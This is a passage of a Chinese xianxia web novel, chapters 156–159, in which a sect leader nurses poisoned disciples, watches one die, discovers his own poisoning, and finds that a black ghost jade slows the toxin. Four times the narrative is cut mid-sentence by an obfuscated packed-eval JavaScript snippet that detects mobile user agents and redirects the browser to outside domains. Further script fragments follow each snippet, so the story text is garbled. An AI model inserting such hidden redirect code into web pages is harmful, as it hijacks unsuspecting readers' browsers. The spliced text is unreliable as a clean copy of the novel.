这药刚才煮的时候,公仪岭就发现用的药材种类甚多,味道也很难闻,想必是极苦的药材。只是这姑娘却是眉头都没皱一下,仰头就全喝下了,像是根本感受不到里面的苦一般。 公仪岭看不下去,在屋内寻找了一番,在清水中放了糖,让她服下缓一缓。 师妹喝完药以后,脸色也依旧惨白,没有看出一点好转。公仪岭试探性问她:“你可有觉得好些了?” 她摇头道:“喝了这么久,早就没什么感觉了。这药一日服用一次,想必我还有很多师兄师姐没有用药,还得劳烦公仪宗主也去帮帮他们了……” 公仪岭没有多说什么,默默点了头。 “我先走了,你好好休息吧,我明日再来看你。” * 余下的三日,公仪岭忙里忙外,穿梭于青花谷的屋子之间,照料着册子上所写的那五十多位弟子。 然而,哪怕他们所有人都严防死守,面带轻纱,这三四日间,却还是多出来了十个轻度中毒的仙侍和弟子。 三日过去,孟妙意那边也没有丝毫进展。 而公仪岭在第四日辰时,又准时地来到了那位师妹的房间给她煎药服用。 木门被他打开,公仪岭本以为那条灵蛇会像从前那样拦在门口,谁知这次,那条蛇却像是也中毒了一样,蜷缩在师妹的床边,动也没动一下。 公仪岭下意识地抬手探了探,却发现这条灵蛇上的灵力,也都消散地差不多了。 灵蛇灵力消散,唯一的可能便是,饲养它的主人身上的法力已经不足以支撑它活下去了。 公仪岭心知不妙,立刻上前掀开床帏,却见那师妹睁着一双眼睛空洞地盯着天花板看,两边的面颊上已经从青紫色逐渐开始溃烂,身上都找不出一处好肉了。 看见公仪岚在旁边后,师妹的眼睛才缓慢地从床帏顶部挪开,与床边的人对视了一眼。 分明昨日,她还没变成这样,公仪岭完全没想到,只过了一个晚上,这毒就蔓延地这样快。 “你……你感觉还好吗?” 他努力克制着自己的情绪,不让她听出自己颤抖的声音,可紧紧握着的拳头还是暴露了他的内心。 这些日子,他坚持亲力亲为救助这些弟子们,难道公仪岭就不怕自己也染上妖毒吗? 他当然怕。他怕自己也中了毒,怕自己回不去云灵山,更怕自己没时间找出真凶,还自己和大哥一个清白。 但是没办法,身为公仪岭,他得这样做,身为公仪宗主,他也必须得这样做。 哪怕……孟妙意当真制不出解药,他也不能因为畏惧而退缩。 他最怕的,还是眼睁睁看着这些亲自照料过的弟子一个个死在他面前,他却无能为力。 “你别担心,你会没事的,我替你把脉看看……” 公仪岭说这样的话,现在也不知道是在安慰她,还是在安慰自己。 前几日,公仪岭想要替她把脉,都被她撤了手,躲了回去。可这一次,他的指尖却轻松地搭上了那师妹的脉,原来,她已经没有力气再撤回手了。 她的一双手干瘦如柴,骨头上包着的已经不能被称之为皮肤了,而手腕上的这脉搏已经虚弱地连公仪岭都已经摸不到了。这样的情况,即便下一秒解药送到她面前,也是回天乏力了。 那师妹翕动了两下嘴唇,似是想要说话,可是她却几乎说不出话来了。 公仪岭低下头,努力听了很久,才听出来她说的话。 “替我……转告宗主……对不起……没能撑到最后……” 公仪岭听完,喉咙里像是哽了东西般难受,哑着声碰了碰她的手,想让她打起精神:“你再坚持一下……” 她的眼睛还睁地大大的,过了很久,才流下一行泪,洇湿了枕头。 公仪岭见状也忍不住眼眶湿润,可他等了很久,也没等到那师妹再说什么话,也许是太累了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14290192|141419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,也许是太痛了,她大概是再也坚持不住了,剩下的力气,仅够她合上眼睛,再无其他动作。 “不要睡过去啊……” 哪怕公仪岭再怎么唤她,她也没再有任何反应了,旁边的灵蛇也终于散掉了最后一点灵气,趴在床边不动了。 公仪岭沉默了很久,想要伸手去探她的鼻息,最后还是放下了手,替她盖好了棉被,狠下心转身离开了。 哪怕他希望能替这位几面之缘的师妹打理好后事,可现在他也不得不面对事实。现在最要紧的,还是那些其他中毒的弟子,每个人都等着他照料。 公仪岭轻轻关上了木门,在门上设下了封禁的法术,才离开了师妹的住所。 她的身亡,并不能说是意料之外的事情。 但是公仪岭现在却不能与其他中毒了的弟子说这件事,现在说的话,只会引起众人不必要地恐慌,更加影响事态发展。 只是,他再怎么隐藏情绪,还是难免在给旁人煎药的时候走神。 旁边的一个青花谷师弟症状还没有那么严重,现在毒素只扩散到了他的两只手臂,故而还有力气从床上坐起,去看公仪岭煎药煎得如何。 他见公仪岚摇扇子的手越来越慢,沙哑着声音提醒道:“公仪宗主?公仪宗主?” “啊?!” 公仪岭被他一叫,才勉强回过神来,重新开始对着药罐扇火。 这师弟倒也是个心思玲珑、知情知趣的人,看公仪岭面色不好,就猜测道:“公仪宗主今日可是遇上了什么事情,才会出了神?” “并无。” 公仪岭意识到自己的失态,只能勉强与他解释了几句,把原因都归结为自己担心解毒的事情。看见这位师弟对他说的话深信不疑,公仪岭才松了口气。 听了公仪岭所担心的事情,这位师弟也叹息道:“公仪宗主不必担心,论起制毒解药这方面,我们家宗主造诣极深,比起师父也不遑多让,她一定能想出办法的。” 公仪岭欲言又止了许久,最后还是忍不住喃喃了一句:“我只担心时间不够啊……” 早上师妹的身亡,无异于在赤裸裸地提醒他,他们在这里已经耗费了许多时日,这些弟子们身上的妖毒是等不起的,如果再没有解药的话,恐怕其余的人也会陆续身亡。 再者,云灵城的一些人,也不可能再等上十日了。 这些天晚上,公仪岭也和承悦保持着通信,知道云灵山中也出现了几位弟子中毒的样子。好在发现地早,及早隔绝开来,没有影响到其他的弟子,也是不幸中的万幸了。 公仪岭尚在思索着,全然没发现不远处坐在床上的那位师弟变了表情。 他扇了许久,也没等到师弟再说话,心中也是咯噔了一下,生怕又出现早上那样的情况,急忙抬起头去看,对上的却是一双惊恐的眼睛。 “怎么了?” 公仪岭诧异地问他,可那位师弟却是颤抖着伸出一只手,直直指向了自己的手腕上。 “公……公仪宗主……你的手腕上……” 157.何人盗鬼玉 妖毒现青花(六) 公仪岭拿着蒲扇的手一顿,顺着他所指的方向垂眸望去,见自己手腕上竟然也出现了颜色极浅的淤青。 这样的情况,这几日他已经看得太多了,这么多天担心下来,也终于成为了事实。 毫无疑问,公仪岭也中招了。 这位师弟结结巴巴地说完,也不敢再开口多说什么,而是担忧地望着公仪岚的面色。 公仪岭只是静静地注视了一会儿,随即便继续握着蒲扇为他煎药。 师弟见他这样,更为不解,犹豫了很久,才小心翼翼地问道:“公仪宗主,你现在也中了妖毒,还是先保重自己的身子要紧,我们还没到下不来床的地步,应该能够照顾得好自己……” 公仪岭轻叹了一声。 他知道这师弟说的也没有错,如果自己没有被染上毒,还能帮衬着他们一些,可现在自己都开始出了问题,再继续在青花谷走的话,只会让更多的弟子也染上妖毒。 “我明白,等这帖药煎完,我便回去告知孟宗主此事。” 师弟闻言也点了点头,又从床底下摸出一包药,递给公仪岭:“公仪宗主,这是压制妖毒的药,等药罐里的这帖煎完,您自己也吃一回吧。” 青花谷内存储的药材有限,每个人的药包都是分好了的,少一帖便相当于少活一日。公仪岭没想到他会给自己药,一时间也愣了。 公仪岭原先还想推辞,但看见这师弟坚定的眼神后,还是没有回绝,思忖后道:“多谢,那我今日先服用这药,等明日我再给你带新的来。” 正说着,药罐里的药也煎好了。 公仪岭熄了火,将药倒入碗中递给师弟。这师弟刚拿起碗吹了吹,外面的木门就响起“笃笃”两声。 “有人敲门,我去看看,你先服药。” 说完,公仪岭从竹椅上起身,刚一开门,就见门口站着的那位仙侍十分眼熟,公仪岭仔细辨认了一番,才想起她正是几日前在吊楼里跟在孟妙意身后的那个仙侍。 所有仙侍都不能出门,唯有她一人还跟在孟妙意身边,想必应当是心腹,特意过来,定然是孟妙意有要紧的事情要说。 公仪岭立刻问道:“可是孟宗主有什么交代?” 里面的师弟看见是这位仙侍前来,也从床上坐起了身子,急声问道:“白苏姑娘,宗主可说什么了?” 白苏望了望里面人的气色,回道:“不必担忧,宗主是有要事要与公仪宗主商议,也许是解药之事有进展了。” 师弟听到白苏这样说,才勉强放下了心,重新躺回床上。 可公仪岭听到这样的好消息,心中没有高兴起来,反而还是紧锁着眉头,只因他分明看见白苏在出声宽慰师弟的时候,脸上没有一点喜悦的意思,反倒还有几分紧张。 公仪岭顿时意识到了事情不对,带着白苏快步走出木门,等重新在木门上设下法术禁制,才轻声开口:“白苏姑娘,现在可以明说了。” 白苏见他会意,也就没再隐瞒,凝声道:“公仪宗主,出事了,我家宗主在制毒的时候晕倒了……” “什么?!” 公仪岭闻言大惊,立刻追问起详细的情况起来。 白苏刚才还勉强镇定地搪塞着门中弟子,现在却明显慌了神:“早上的时候,宗主还好好的,可是午后却突然在炼毒室内晕了过去,这会儿孟阳师兄正在给宗主诊脉,让我先过来请公仪宗主您过去一趟……” 公仪岭心中不安,他也是刚发现自己中毒,也就是一前一后的工夫,孟妙意竟然也出了事情,难不成她也是因为中了毒? 若是这样的话,那制作解药的事情,恐怕就更难了。 青花谷炼毒室的那尊黄铜鼎炉,公仪岭也是有所耳闻的,想要运作定然是得靠自身灵力,如果孟妙意中了妖毒,时间拖得越久,灵力也就越稀薄,后面再想做出来,就难了。 眼下距离他们离开云灵城已经过去了六日,那些中毒的百姓只是肉体凡胎,再拖上几天,断然是坚持不住的。 公仪岭忧思更重,但现在不是在这边犹豫的好时机,他很快就回过了神,对白苏姑娘道:“先去孟宗主所在的地方看看,再做决定。” 白苏连忙应声,带着公仪岭回到了吊楼的地方。 因为孟阳他们还得看顾黄铜鼎炉,所以孟妙意只能暂且被安置在隔壁的一间屋子里。白苏带着公仪岭进门的时候,就看见孟阳正搭在她的手腕上诊脉,脸上神情很是严肃。 公仪岭先是观察了一下孟妙意的脸色,觉得看起来不太好后,默默等在了一旁。 一盏茶过后,孟阳才睁开眼,撤回了手,凝重道:“从脉象上来看,宗主在两日前就已经染上了妖毒,只是今日才发出来。” 公仪岭望着她手臂上的青紫痕迹,问道:“难道这毒性,发作的时候人会晕厥?” 这方面,孟阳也尚且不知,只有白苏在旁边小心翼翼的答了一句:“其他弟子似乎并未晕厥,也许是宗主这几日都没有休息好,劳心劳神,这才会……” “难怪如此,我还在奇怪为什么孟宗主中毒昏厥,我却没有。” 公仪岭并未打算瞒他们,撩起衣袖,将手腕上的淤青给孟阳看:“这是刚才在那位师弟房间的时候发现的,想必我也是中了妖毒,看这模样,应该是刚开始的阶段吧。” 他会这样推测也是有理有据。躺在床上的孟妙意手臂上的淤青都比自己的要大上许多,如果她是两日前开始中毒的话,那公仪岭自己多半就是昨日这样染上的。 孟阳一开始倒也没注意公仪岭手腕上有什么不对,看见他腕上的青痕后,脸色又变了变:“岚兄,没想到你带了斗笠还是染上了妖毒。” 公仪岭面上倒是比他们平静很多:“照料弟子事事都得亲力亲为,染上妖毒也是时间问题,我有这个心理准备。” 孟阳仔细打量着他手腕上的痕迹,依照他的经验看,这只是初期的症状,但为了保险起见,孟阳还是搭上了公仪岭的脉,觉得看过以后才能放心。 他要诊脉,公仪岭也是十分配合地找了个竹椅坐在了孟阳的旁边。 谁知,半分钟过去,孟阳脸上的表情更奇怪了。 “孟兄,可是有什么不对的地方?” 公仪岭试探着问他,孟阳这才猛然抬眼,对上了公仪岭的目光,惊诧道:“岚兄,你这个妖毒……似乎是五六日前染上的。” 孟阳的这一番话,让公仪岭都心中一惊。 而孟阳这样说完,他自己都有些不自信了,重新沉下心去诊脉,就这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14300714|141419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 样屋内的几个人屏息凝神了几分钟后,孟阳才再度抬起头。 这一次,他望向的不是公仪岭,而是对站在旁边白苏开口道:“白苏姑娘,你来试试。” 白苏是从小待在青花谷,一直跟在孟妙意身边服侍的,在诊脉这方面也不在话下。她得到了孟阳的指示后,上前一步搭上了公仪岭的脉象,也是凝眉诊断了片刻,在两人复杂的目光中,对着孟阳轻轻点了一下头。 两个人都这样觉得的话,那就不会有错了。 公仪岭自己对这方面不甚精通,故而也没有自己去尝试诊自己的脉,而是选择相信了面前这两人得出的结果。 他撤下手,沉声问道:“可是,为何孟宗主比我晚中毒,症状却比我还要严重?” 公仪岭这几日照顾弟子们,也没少记录和观察这些弟子们的情况,这毒虽然女弟子们感染的多,但也没有师弟们就比师妹们毒发慢的事情发生。 孟阳率先想到的就是药物,于是问道:“岚兄,你这几日可有服用过延缓毒发的药物?” 公仪岭另一只手还拿着那位师弟好心给他的药包,这会儿就将那一提药包给放在了桌案上:“只有今日,那位师弟给了我这个,我还没来得及服下,就听说了孟宗主晕厥的事情,赶了过来,在这之前,从未吃过什么药。” 白苏这姑娘细心,立刻提出一个问题:“既然是五六日前,公仪宗主就染上了毒,这个时间点,孟阳师兄和公仪宗主应当还在云灵城内才是,难道在那时候,就……?” 孟阳仔细算了算时间,发现的确如白苏所说的那样,顿时想到了什么,惊声道:“我和岚兄那时候在一块,难道我也染上了妖毒,只是还没爆发出来?可是,我并未察觉到身子有什么不对劲的地方……” 白苏说的话,也有这层意思,二话不说扣住了孟阳的手腕,也替他摸了脉,片刻后微微松了口气。 “孟阳师兄倒是身体无碍,只是这些日子也得注意些。” 他身子无碍,公仪岭并不意外,大家都知道孟阳专心在外种各种灵草作物,自己身子也因此调理得极好,肯定是比他们这些每日操心的强上许多。 公仪岭琢磨了半天,也没想到为何自己毒发会比他们晚上几日,只能先问孟阳:“孟宗主何时才能醒来?” 孟阳指了指旁边正在滚药的炉子,无奈道:“宗主身上的毒来势汹汹,加上她这几日不眠不休地制药,这才会突然晕厥。等她服下我给她配好的药后,想必一炷香之内,她就能醒过来了。” “那,这几日解药可有进展?” 孟阳无声地摇了摇头。 白苏一直跟在他们两人旁边看顾,这时候也叹息道:“宗主这几日几乎把所有的药材都试了个遍,又炼出了跟弟子们身上一样的妖毒,可那些解药只能解开炼出来的毒,对弟子身上的毒却束手无策,根本起不了作用。” 孟阳若有所思地注视着公仪岚,隐隐觉得他身上的毒定然有不同寻常之处,很快从床边的布包里取下了一枚细长的银针,又不知从哪拿出了个空药瓶,对着他眼前的公仪岚沉声道:“岚兄,得罪了。” 公仪岭不解其意,还没反应过来,孟阳就猛然抓住了他的手臂,以迅雷不及掩耳之势用银针扎破了公仪岭的手腕。 158.何人盗鬼玉 妖毒现青花(七) 公仪岭对孟阳从不设防,也就没下意识把人撂开,只是手腕被银针扎入的时候,还是免不得扯了扯嘴角。 孟阳此举当然不是为了给他施针治疗,只是单纯地想要采集他那中了毒的血而已。银针入体,立刻就有几滴黑血从手腕上流出,稳稳地滴在了孟阳的空药瓶内。 “哎!” 白苏下意识也是叫了一声,不过看见孟阳凝重的表情,又见公仪岚面无波澜,再迟钝也反应过来孟阳师兄是打算做什么了。 孟阳取完血,倒也没撒手不管了,十分贴心地递给了他一张帕子。手上剩下那丝丝缕缕的血迹,公仪岭也没去管,随意抹了一把就丢了帕子——染过毒的帕子,自然是不能再用了。 被银针扎过的伤口并不大,公仪岭很轻松地止住了血,问道:“多久能有结果?” 孟阳一手握着药瓶,思忖良久,才道:“一个时辰。” 他与孟妙意在炼毒室待了这么久,该如何做早已清楚,说是一个时辰,如果顺利的话,也许只用半个时辰即可。 正说着,床边的药炉已经滚沸了,白苏见状快步上前,将药注入碗中,拿了勺子在孟妙意的床边打算给她喂药。 孟阳担心她躺着不方便喝药,于是也坐在床榻边将人扶了起来,勉强把一碗汤药给孟妙意灌了下去。 公仪岭守在他们旁边,等两人做完这一切后,才开口道:“孟兄,你且先去炼毒室吧,这边有我和白苏姑娘看着就行。” 交给他们两人,孟阳也放心,当即点了头:“也好,那我先去了。” 孟阳离开后,公仪岭也是一直守在孟妙意旁边等她醒来。等待的这个活儿十分费时间,公仪岭闲暇之时,也与白苏交谈了片刻,大概了解了这几个月青花谷的情况。 白苏说,从上元夜宴结束后,宗主也是费了很大一番功夫才处理完的谷中事宜,稳定住了人心,本以为从此以后就能好转起来,逐渐步入正轨,却不想发生这样的事情。 白苏年纪不大,人也老实,基本上公仪岭问她什么,她便答什么,大概是这些时日心情太过沉重,难得有了能说的对象,白苏也是打开了话匣。 公仪岭从她口中方才得知,孟妙意继任宗主的时候,并没有他所想象地那样容易。 青花谷的少宗主原先是孟翰言,先宗主孟长歌失踪后,孟翰言继任宗主也算是名正言顺,没有人多说什么。直到孟翰言和孟正初两个人相继离世后,这些问题才显现出来。 他们这边的继任方式,公仪岭也多少知道一些,无非就是以亲缘关系来继位宗主。孟妙意虽然是先宗主的直系血亲,却因为年纪太小,一开始饱受旁人诟病,觉得她无法胜任这个位置,还不如从旁支血亲中选一个德高望重的长辈来当宗主。 好在孟长歌从前的一些直系弟子都坚持让孟妙意上位,这才将别的声音暂且压了下去。但也仅仅只是压了下去,如果孟妙意哪里做的不好,恐怕他们还是会借题发挥。 这大概也是孟妙意坚持炼药,不肯停歇的一方面原因吧。 不过,这也是他们青花谷中的事情,公仪岭哪怕是宗主也没办法插手别人家的事情,只能叹了口气,觉得孟妙意年纪轻轻能接手她两位哥哥手中的担子,很是不易。 白苏能跟在孟妙意身边这样久,该有的眼力见都是有的,她说了这些情况后,见公仪宗主的表情看上去有些黯然,只当是自己提到了公仪岚的伤心事,立刻闭了嘴,没再提亲人离世继任宗主这些事情。 她忽然沉默,公仪岭也只好安慰了一两句,期盼着孟阳能查出来自己的血有什么问题,能尽快找出原因。 两人这样有一搭没一搭地说着话,等到忽然听到床上传来轻微的响动,他们才止了声音,齐齐转头去看孟妙意。 白苏反应极快,一个箭步起身上前,见孟妙意已经睁开眼睛,急声问道:“宗主,您感觉怎么样了?” 大概是刚刚苏醒,身体还没恢复,孟妙意对白苏的询问也没有及时回答,十分迟钝地又闭了闭眼,重新睁开。 在这闭眼之间,她才算是彻底回忆起来,自己是在炼毒室突然晕厥,而妖毒的解药还没个着落,马上就着急起来,强撑着想要起身。 白苏见她这样也是左右为难,扶她起来吧,又担心宗主身体吃不消,不扶起来的话,宗主定然会责怪她耽误解毒。好在白苏举棋不定之时,公仪岭适时出声道:“孟宗主,现在你的身体刚好转一些,当好好休息才是,至于解毒之事,孟阳已经过去了。” 他站在孟妙意的床边,眼神示意白苏将人扶回去,白苏如获大赦,立刻把孟妙意按回了床上,语气多有抱歉:“宗主,您身子要紧啊……” 孟妙意刚刚试了一下,也觉得全身乏力,没有力气起来,只好重新躺了回去。 “我昏迷了多久?” 白苏眼眶微红:“宗主,您昏迷了有一个多时辰了,是孟阳师兄将您扶到这里,再让我把公仪宗主喊过来的。” “还好……只有一个时辰,还有时间……” 孟妙意悬着的心在听见这话以后才勉强放下,若是她昏迷了好几日的话,那就真的耽误事情了。 她这样拼命,公仪岭也忍不住出声:“孟宗主,解毒固然要紧,您也该保重身子啊,孟兄现在也在炼毒室想办法呢。” 孟妙意沉默良久,才道:“我心中有数。” 她这样说,公仪岭也不好再多说什么,只能点了点头,回到桌案上去给她倒剩下的汤药。 公仪岭还惦记着孟阳临走前叮嘱的事情:这药等孟妙意清醒过来以后,还得再吃一次,万不可耽误。 而孟妙意的眼睛却还是直直注视着他,突然问道:“公仪宗主,这几日谷内弟子们可都还好?” 公仪岭被她这样一问,原本倒药的动作也是微微一停,这样细小的动作,自然不会逃过孟妙意的眼睛。 他过来得匆忙,关于那位师妹离世的事情,还并未对这三人袒露,他有所犹豫,也是担心孟妙意一听说有人中毒身亡,对此会更加着急,不由分说就下床去炼毒室了。 毕竟,青花谷本就是毒修世家,若是自己家的弟子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14311026|141419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中了妖毒身亡,而他们到现在还没有任何办法的话,说出去总会让人觉得是孟妙意无能了。 公仪岭还没想好该如何开口,孟妙意却沉声道:“公仪宗主,若是出了什么事情,您但说无妨。” 看着她目光中隐隐焦急的样子,公仪岭也是越发担心,照这样的话,恐怕他刚说完,孟妙意连药都不喝就会直接出去了。 思虑片刻后,公仪岭稳稳当当把药罐放回桌案,将药碗递给白苏:“孟宗主,等喝完这一碗汤药,我再告诉你也不迟。” 孟妙意心思玲珑,听到他这样说,心里也明白了七七八八,知道大概不是什么好消息了,不等白苏给她一勺一勺地喂,直接捧过了药碗一饮而尽。 这药刚煮沸,还有些烫手,孟妙意喝得急,难免有些呛到了。白苏接过了空空如也的药碗,轻轻拍着孟妙意的背,问道:“宗主,好些了吗?” 孟阳准备的药多少还是起了些作用的,孟妙意喝完以后的确觉得恢复了一些,有力气能够起身了。 “好多了。”孟妙意点了点头,一刻不停地问他,“公仪宗主,这药我已经喝完,您有话不妨直说?” 公仪岭从怀中取出那封名册,上面已经新增了一些涂涂改改的痕迹,所有因妖毒死亡的人,公仪岭都已经标注上了。 说是要告诉孟妙意,但在交出名册之前,公仪岭还是犹豫了一下,在孟妙意的眼神催促下将名册递给了她。 没人比公仪岭心里更清楚,因为妖毒死亡的并不止那位师妹一人,有几个毒入骨髓的青花谷弟子和云灵城百姓,也都已经确认身亡。 这样的事情,大概是孟妙意最不愿看见的了。 在孟妙意翻看名册的间隙,公仪岭深吸了一口气道:“所有身亡之人,我都标上了记号,他们中毒已深,能够支撑上这些时日已是不易,实在是回天乏术……” 话音刚落,公仪岭分明看见孟妙意拿着名册的指尖泛白,就连面色也逐渐苍白起来。 他连忙补充道:“但是,刚刚孟阳似乎发现了什么端倪,已经在研究了,想必很快就能炼制出解药,你不必太过担心。” 孟妙意恍若未闻,喃喃道:“死了十余人了……” 公仪岭意识到她根本没有听自己的第二句话,而是一心计算着人数,只能硬着头皮道:“他们十多个人,大多都是十多日以前中的毒,故而坚持不住了。” 这十多人,有一半是青花谷的人。 孟妙意凝眸望着名册上这些熟悉的名字,以及上面记载着其他弟子现状的那些小字,毫不迟疑地起身道:“我要去炼毒室找孟阳。” 白苏见她起来,下意识就拉住了孟妙意的手臂,劝道:“宗主,孟阳师兄也许已经有思路了,暂且把事情交给他也未尝不可,您的身子还虚弱,得好生休养才是。” “白苏说得不错。” 公仪岭也赞同地点了点头,想要再说点什么安抚孟妙意。 然而,他还没有开口,房门却一下子打开,门外传来孟阳又惊又喜的声音:“岚兄,有进展了!” 159.鬼玉解妖毒 妙意不可名(一) 公仪岭听到孟阳说的话先是一愣,反应过来以后霍然起身:“孟兄,你说得可是真的?” 他旁边两个姑娘也是眼前一亮。只不过孟阳一进来,瞧见孟妙意已经醒来,就没有立刻回答公仪岭的话,而是关切问了一句:“宗主,你现在感觉如何?可有好些了?” 孟妙意缓缓点头:“我没事。你先说说进展吧。” “那就好。” 见她神智看起来已经清醒,面色也比刚刚好了许多,孟阳也稍稍心安了些,继而才对孟妙意解释道:“宗主,你昏迷的时候,我们发现岚兄身上的妖毒有些蹊跷,我便取了他的腕血查看,这才发现了一些端倪。” 刚才公仪岭还没和孟妙意说自己也中毒的事情,孟妙意一听也是惊讶,偏头看了公仪岭一眼,道:“公仪宗主身上中了妖毒?” 公仪岭也没打算瞒她,坦言道:“的确,是今日我才发现的,现在也只显出手腕上的一小块。” 孟妙意略略一想,也知他这几日忙着操心弟子们的事情,染上妖毒是难免的事情,心里油然生出几分歉疚出来。 孟阳继续道:“把脉的时候,我和白苏姑娘都说,岚兄身上的毒是五六日以前染上的,然而却只在今日显现出来这样小块,很是蹊跷,也就是刚才,我才从腕血里发现,这毒像是被什么东西压制住了一样,似乎在岚兄的血中扩散地极慢……” 他的话让公仪岭也糊涂了,下意识就去回忆自己这几日有没有做什么事情,然而想了一圈下来,依然没有想到,在青花谷的这几日,他没有动用什么法力,也没喝过什么灵药,从未主动地去压制过妖毒蔓延。 孟妙意还在皱眉深思,白苏却是抢先一步问道:“公仪宗主,难道您有什么法子压制妖毒蔓延吗?” 公仪岭摇了摇头:“这些时日,我除了照看弟子,再无其他举动,何来压制妖毒一说?就连发现传染,也是今天的事情了。” 公仪岚在仙门众人心目中还是比较靠得住的存在,孟妙意仔细一想,也觉得他没有欺瞒此事的必要,他的人都已经过来青花谷帮忙了,云灵山那么多人等着解药,要是他知道法子的话,不可能不告诉自己。 他说自己并没有法子,孟妙意也不奇怪,不管怎么说,孟阳这个发现,的确能够算一个大进展了,总比这几日他们想了无数办法但还是无可奈何的好。 她又想到了一个可能,问孟阳:“难道,是公仪宗主体质特殊,这才毒发慢吗?” 孟阳却否定了这个想法。 “岚兄的血与旁人并无不同,想必是有什么其他原因才导致毒发慢。何况,他一开始染上妖毒是还在云灵城的时候,想必应该跟那时候的事情有关系了。” 孟妙意马上追问:“公仪宗主在云灵城的时候,可遇到了什么奇怪的事情?或者说接触了什么奇怪的东西?” 按照孟妙意他们两人的意思,都是想着或许是在云灵城的时候碰过了什么奇怪的草药,这才误打误撞地延缓了毒发。 然而公仪岭却因为孟阳的话,想起了另一桩事情。 算起来,他在云灵城的那一日,可是在山中待过半天的。而自己在山中那几日,唯一出现的异常,也就是有人破开了云灵山的结界,企图偷盗黑石鬼玉这件事情了。 而黑石鬼玉,在经过这一出以后,也被他挂回了脖子上贴身收着,防止遗失,可是一直戴到现在都没取下的。 那时候公仪岭还不明白,这人偷盗黑石鬼玉要做什么,但后面妖毒爆发,让他也无暇去想这些,也没有把这两件事情给联系起来。 现在想来,大有蹊跷。 何况,从前也有出现过依靠灵器来压制毒物和妖气的事例,如果硬要论起来的话,其实黑石鬼玉,也能算是一方灵器,难保没有这样的作用。 “你们说的奇怪的事情,我倒是遇上过一桩。” 公仪岭有了思路,便对几人说了有关于黑石鬼玉差点被盗之事。因为事关重大,此事除了承悦以外也再无旁人知晓,孟阳也是今日才知,当即明白了公仪岭的意思。 “岚兄,你是说,这偷盗黑石鬼玉的人,或许就是散布妖毒的人?” 公仪岭道:“极有可能。” 孟妙意也觉得两人说的有理。如果这黑石鬼玉能够解开大家身上的毒,那这人在下毒前肯定就知道了它的功效,为了防止他们解开,定然会想办法将黑石鬼玉给悄无声息地偷出来,只要妖毒没爆发,那他们大多也不会往这方面考虑,肯定第一时间都指望着青花谷来解毒。 如果真的是这样的话,那黑石鬼玉现在的下落,孟妙意就必须得问上一问了。 “那黑石鬼玉现下在何处?还在云灵山吗?” 对此,公仪岭也不得不庆幸自己给随身带出来了。否则这一来一回,又得耽误不少时间。 石头早已再度被他设下障眼法,公仪岭抬手汇聚灵力,将障眼法解开后,取下了挂在脖子上的黑石鬼玉。 “在发现那人偷盗失败后,我便将此石头贴身安置,从未离身。也许,就是因为它的原因,才延缓了毒性发作。” 几人交流了一番,越来越觉得这个可能性极大,孟阳几乎忍不住就想拽着他过去,用黑石鬼玉试试看研制解药了,但还是因为顾及孟妙意的身体,没有一走了之。 孟妙意那边呢?猜出来这个振奋人心的事情以后,哪里还坐得住,叫白苏过来扶了自己一把以后,就起床打算出门去了。 考虑到还得仰仗孟妙意的灵力运转鼎炉,公仪岭直接将黑石鬼玉暂时交给了孟妙意:“如果这个真有用的话,你先拿着,也许身体也能好转一点。” 孟妙意知道这东西是魔族的,也清楚此物算是公仪岭的遗物,原本也没想拿过来用,只是想在炼药的时候借用一下,听到他主动开口,诧异之余也没有拒绝。 毕竟,如果有用的话,拿到石头以后,或许自己的身体就能有明显好转,这样他们炼药起来,也就更有信心了。 黑石鬼玉挂在孟妙意的脖子上以后,她果然觉得身子轻盈了不少,对公仪岭点头道:“那就多谢公仪宗主了,等炼药成功以后,我再把此物归还给您。” 公仪岭点头应下,也随着他们几个人一起出了门。 孟妙意和孟阳直奔炼毒室,这一次他们也没避开公仪岭炼药,白苏随意给公仪岭搬了个竹椅过来,公仪岭也就踏踏实实坐在炼毒室内等着了。 孟阳的灵力不算太强,若是孟妙意需要人从旁护法的话,自然是让公仪岭来更为合适。 公仪岭问他们:“需要怎么做?” 孟妙意托着脖子上的玉石,思忖道:“仙家的灵物有灵气,玄霄殿的物件想必也有鬼气。我觉得,应当先将黑石鬼玉中的鬼气引出来,混 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 